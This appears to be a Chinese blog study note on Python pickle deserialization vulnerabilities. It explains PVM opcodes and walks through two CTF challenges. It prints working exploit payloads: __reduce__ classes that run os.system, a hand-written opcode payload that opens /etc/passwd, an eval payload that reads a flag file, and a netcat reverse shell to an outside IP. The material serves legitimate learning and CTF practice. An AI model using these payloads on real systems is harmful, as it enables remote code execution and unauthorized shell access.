Python反序列化

Python反序列化

学习下python的反序列化,在smile师傅和p牛的博客里面取经。

python反序列化

Python中有个库可以实现序列化和反序列化操作,名为picklecPickle,python3标准库中不再叫cPickle,而是只有pickle。python2中两者都有。,作用和PHP的serializeunserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好。

此外python2中的序列化文件如果想在python3中读取,需要修改编码。

pickle.dump()   #传入一个文件句柄,以二进制的形式写入
pickle.dumps()   #参数为字符串,返回一个序列化的byte对象
pickle.load()   #同样是操作文件句柄,以二进制形式读取
pickle.loads()   #直接从bytes对象中读取序列化值
import pickle

class Person(object):
    def __init__(self,username,password):
        self.username = username
        self.password = password

admin = Person('admin','admin123')
result = pickle.dumps(admin)
print(result)

person =pickle.loads(result)
print(person.password)

%title插图%num

官方的文档中也是提到了这个漏洞,因为序列化本身处理有问题,pickle允许我们用数据表示任意对象。

%title插图%num

可以看到Person的属性以及一些杂乱的字符串,这些字符串是 PVM 虚拟机可以识别的有特殊含义的符号。PVM 由三个部分组成,引擎(或者叫指令分析器),栈区、还有一个 Memo,分别用来处理、储存以及标记数据。

pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

将payload 'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.',写进一个文件,然后继续分析

python -m pickletools pickle

%title插图%num

输出的是一堆OPCODE,在源码中是能够找到的

%title插图%num

这些opcode其实是PVM操作码

c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
(:压入一个标志到栈中,表示元组的开始位置
t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
V、S:向栈顶压入一个(unicode)字符串
.:表示整个程序结束

反序列化流程

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

在这份文档中,有对于下面这串代码的分析

c__builtin__
file
(S'/etc/passwd'
tR.

首先通过c操作码引入模块和对象,__builtin__.file

%title插图%num

然后(操作码代表压入一个标志到栈中,表示元组的开始位置,这个MARK开始我也不知道什么意思,继续往下看

%title插图%num

接着S操作码代表向栈顶插入一个字符串,这里为'/etc/passwd'

%title插图%num

t操作码代表从栈顶开始,找到最上面的一个(,这里的MARK也就是(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中

%title插图%num

最后R操作码代表从栈顶弹出两个元素,一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上。执行__builtin__.file('/etc/passwd')

%title插图%num

最后还要有一个.代表整个程序结束。

这是我在本地的测试。

%title插图%num

反序列化漏洞

python反序列化漏洞的本质在于序列化对象的时候,类中自动执行的函数(如__reduce__)也被序列化,而且在反序列化时候该函数会直接被执行。

漏洞产生的原因在于pickle可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__方法从而触发恶意代码,类似与PHP中的__wakeup__,在反序列化的时候会自动调用。

%title插图%num

我们可以通过自定义__reduce__方法来让这个类根据我们在__reduce__ 中指定的方式进行序列化。该方法可以返回一个字符串或者一个元祖,当返回元祖时,需提供2到5个参数,而我们常用的是前两个参数,即一个可调用对象和一个为元组类型的可调用对象参数,类似于上面的操作码R

import pickle
class Exp(object):
    def __reduce__(self):
        return(__import__('os').system,('whoami',))

a = Exp()
test = pickle.dumps(a)
pickle.loads(test)

%title插图%num

我们常用__reduce__生成的序列化字符串,但是它只能执行一个函数,在反序列化沙盒绕过时大多需要执行多种操作,这时候我们就需要手写PVM操作码。

pickle code

reduce

import os, pickle

class Test(object):
    def __reduce__(self):
        return (os.system, ('ls',))

a = pickle.dumps(Test())
print(a)

# b'\x80\x03cnt\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.'

手写

基本模式:

c<module>
<callable>
(<args>
tR

看个例子

cos
system
(S'ls'
tR.

<=> __import__('os').system(*('ls',))

cos
system  =>  引入 system,并将函数添加到 stack
(S'ls'  =>  把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
t       =>  stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# 简单来说,(,t 之间的内容形成了一个 tuple,stack 目前是 [<built-in function system>, ('ls',)]
R       =>  system(*('ls',))
.       =>  结束,返回当前栈顶元素

[CISCN2019 华北赛区 Day1 Web2]ikun

主要看Admin.py,有一个反序列化。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

exp:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[watevrCTF-2019]Pickle Store

是一个购物界面,查看cookie,发现有一个类似base64的字符串,解码后发现了是序列化后的数据,进行反序列化,得到一串json格式的数据。

import pickle
import base64

code = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
b64de = base64.b64decode(code)
result = pickle.loads(b64de)
print(b64de)
print(result)

#b'\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\xf4\x01X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00aa1ba4de55048cf20e0a7a63b7f8eb62q\x05u.'

#{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

反弹shell exp:

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc ip 7788 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

%title插图%num

学习参考文章

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

https://www.smi1e.top/%e4%bb%8ebalsn-ctf-pyshv%e5%ad%a6%e4%b9%a0python%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇